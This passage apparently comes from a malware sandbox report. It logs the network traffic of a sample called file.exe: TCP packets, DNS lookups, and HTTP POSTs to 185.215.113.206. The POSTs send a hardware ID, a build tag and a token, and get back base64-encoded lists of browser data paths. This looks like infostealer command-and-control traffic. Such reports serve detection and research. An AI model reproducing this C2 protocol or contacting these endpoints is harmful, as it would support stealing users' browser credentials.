Oct 27, 2024 17:54:44.978776932 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.978811026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.978816986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.978832960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.978844881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.978852034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.978857040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.978880882 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.978904009 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.978992939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979005098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979016066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979038000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979064941 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979074955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979084969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979104042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979134083 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979165077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979197979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979209900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979232073 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979235888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979248047 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979249001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979260921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979268074 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979271889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979283094 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979295015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979305983 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979306936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979322910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979327917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979340076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979341030 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979352951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979370117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979377031 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979397058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979398966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979410887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979422092 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979423046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979438066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979439020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979455948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979460001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979469061 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979480982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979492903 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979492903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979513884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979528904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979620934 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979644060 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979654074 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979655981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979667902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.979676008 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979686975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.979690075 CET	80	49853	185.215.113.206	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 17:54:16.209712982 CET	192.168.2.5	1.1.1.1	0xb51a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:16.209939957 CET	192.168.2.5	1.1.1.1	0xb040	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:21.401019096 CET	192.168.2.5	1.1.1.1	0xbeda	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:21.401170015 CET	192.168.2.5	1.1.1.1	0x7dd6	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:22.402817011 CET	192.168.2.5	1.1.1.1	0xd62c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:22.403086901 CET	192.168.2.5	1.1.1.1	0x7643	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:27.593095064 CET	192.168.2.5	1.1.1.1	0x5115	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:27.593606949 CET	192.168.2.5	1.1.1.1	0xee7a	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:29.049958944 CET	192.168.2.5	1.1.1.1	0x563f	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:29.050355911 CET	192.168.2.5	1.1.1.1	0x9eeb	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 27, 2024 17:54:30.880393982 CET	192.168.2.5	1.1.1.1	0xea15	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:30.880551100 CET	192.168.2.5	1.1.1.1	0x90bb	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:30.891937017 CET	192.168.2.5	1.1.1.1	0xfe55	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:30.892218113 CET	192.168.2.5	1.1.1.1	0x46c7	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:30.955267906 CET	192.168.2.5	1.1.1.1	0x636a	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:30.955620050 CET	192.168.2.5	1.1.1.1	0x26e5	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:30.960978985 CET	192.168.2.5	1.1.1.1	0xdec2	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:30.961158991 CET	192.168.2.5	1.1.1.1	0xf6fd	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:32.084981918 CET	192.168.2.5	1.1.1.1	0xc75d	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.085264921 CET	192.168.2.5	1.1.1.1	0x535f	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:32.217331886 CET	192.168.2.5	1.1.1.1	0xbb06	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.219023943 CET	192.168.2.5	1.1.1.1	0x438a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:32.219890118 CET	192.168.2.5	1.1.1.1	0xaaca	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.220711946 CET	192.168.2.5	1.1.1.1	0x9dc5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 27, 2024 17:54:32.237112999 CET	192.168.2.5	1.1.1.1	0x3771	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.237348080 CET	192.168.2.5	1.1.1.1	0x5bac	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 27, 2024 17:55:30.011281013 CET	192.168.2.5	1.1.1.1	0x8768	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:55:30.011416912 CET	192.168.2.5	1.1.1.1	0x6086	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 17:54:16.217492104 CET	1.1.1.1	192.168.2.5	0xb51a	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:16.217509985 CET	1.1.1.1	192.168.2.5	0xb040	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 27, 2024 17:54:21.409071922 CET	1.1.1.1	192.168.2.5	0xbeda	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:21.409071922 CET	1.1.1.1	192.168.2.5	0xbeda	No error (0)	plus.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:21.409111977 CET	1.1.1.1	192.168.2.5	0x7dd6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:22.410170078 CET	1.1.1.1	192.168.2.5	0xd62c	No error (0)	play.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:27.602164984 CET	1.1.1.1	192.168.2.5	0x5115	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:27.604100943 CET	1.1.1.1	192.168.2.5	0xee7a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:27.622806072 CET	1.1.1.1	192.168.2.5	0xd1e4	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:27.624233961 CET	1.1.1.1	192.168.2.5	0x9fc8	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:27.624233961 CET	1.1.1.1	192.168.2.5	0x9fc8	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:29.058170080 CET	1.1.1.1	192.168.2.5	0x563f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:29.058352947 CET	1.1.1.1	192.168.2.5	0x9eeb	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:30.888835907 CET	1.1.1.1	192.168.2.5	0xea15	No error (0)	sb.scorecardresearch.com		13.32.99.90	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:30.888835907 CET	1.1.1.1	192.168.2.5	0xea15	No error (0)	sb.scorecardresearch.com		13.32.99.21	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:30.888835907 CET	1.1.1.1	192.168.2.5	0xea15	No error (0)	sb.scorecardresearch.com		13.32.99.105	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:30.888835907 CET	1.1.1.1	192.168.2.5	0xea15	No error (0)	sb.scorecardresearch.com		13.32.99.23	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:30.900124073 CET	1.1.1.1	192.168.2.5	0xfe55	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:30.901550055 CET	1.1.1.1	192.168.2.5	0x46c7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:30.962426901 CET	1.1.1.1	192.168.2.5	0x636a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:30.962817907 CET	1.1.1.1	192.168.2.5	0x26e5	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:30.968209982 CET	1.1.1.1	192.168.2.5	0xdec2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:30.968662024 CET	1.1.1.1	192.168.2.5	0xf6fd	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:32.092451096 CET	1.1.1.1	192.168.2.5	0xc75d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:32.092451096 CET	1.1.1.1	192.168.2.5	0xc75d	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.093250990 CET	1.1.1.1	192.168.2.5	0x535f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:54:32.225672960 CET	1.1.1.1	192.168.2.5	0xbb06	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.225672960 CET	1.1.1.1	192.168.2.5	0xbb06	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.226582050 CET	1.1.1.1	192.168.2.5	0x438a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 27, 2024 17:54:32.227124929 CET	1.1.1.1	192.168.2.5	0xaaca	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.227124929 CET	1.1.1.1	192.168.2.5	0xaaca	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.229218006 CET	1.1.1.1	192.168.2.5	0x9dc5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 27, 2024 17:54:32.244395971 CET	1.1.1.1	192.168.2.5	0x3771	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.244395971 CET	1.1.1.1	192.168.2.5	0x3771	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:54:32.244462013 CET	1.1.1.1	192.168.2.5	0x5bac	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 27, 2024 17:55:30.019287109 CET	1.1.1.1	192.168.2.5	0x6086	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 17:55:30.019494057 CET	1.1.1.1	192.168.2.5	0x8768	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	3572	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 17:54:05.492032051 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 17:54:06.398673058 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:06.401675940 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 33 45 41 38 31 33 44 43 38 30 31 31 32 38 30 35 36 36 34 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="hwid"933EA813DC801128056648------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="build"tale------IJKKKFCFHCFIECBGDHID--
Oct 27, 2024 17:54:06.695485115 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 51 79 4d 6d 4e 6a 4f 44 41 34 4f 54 4d 79 4d 44 49 34 59 57 51 78 59 6d 49 33 59 7a 59 35 4e 57 46 69 4d 6a 45 79 5a 44 4a 6d 4e 6a 55 79 4f 44 4d 7a 4d 6d 55 35 4d 47 4a 69 4d 32 46 69 5a 47 52 6d 59 57 45 79 4f 57 49 7a 59 7a 64 69 5a 6a 55 33 59 32 4a 6a 59 6a 55 30 4d 54 64 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODQyMmNjODA4OTMyMDI4YWQxYmI3YzY5NWFiMjEyZDJmNjUyODMzMmU5MGJiM2FiZGRmYWEyOWIzYzdiZjU3Y2JjYjU0MTdlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 27, 2024 17:54:06.696734905 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="message"browsers------DGDBFBFCBFBKECAAKJKF--
Oct 27, 2024 17:54:06.978950024 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 27, 2024 17:54:06.979008913 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 27, 2024 17:54:06.980463028 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="message"plugins------AAFHIIDHJEBFBFIDAKFB--
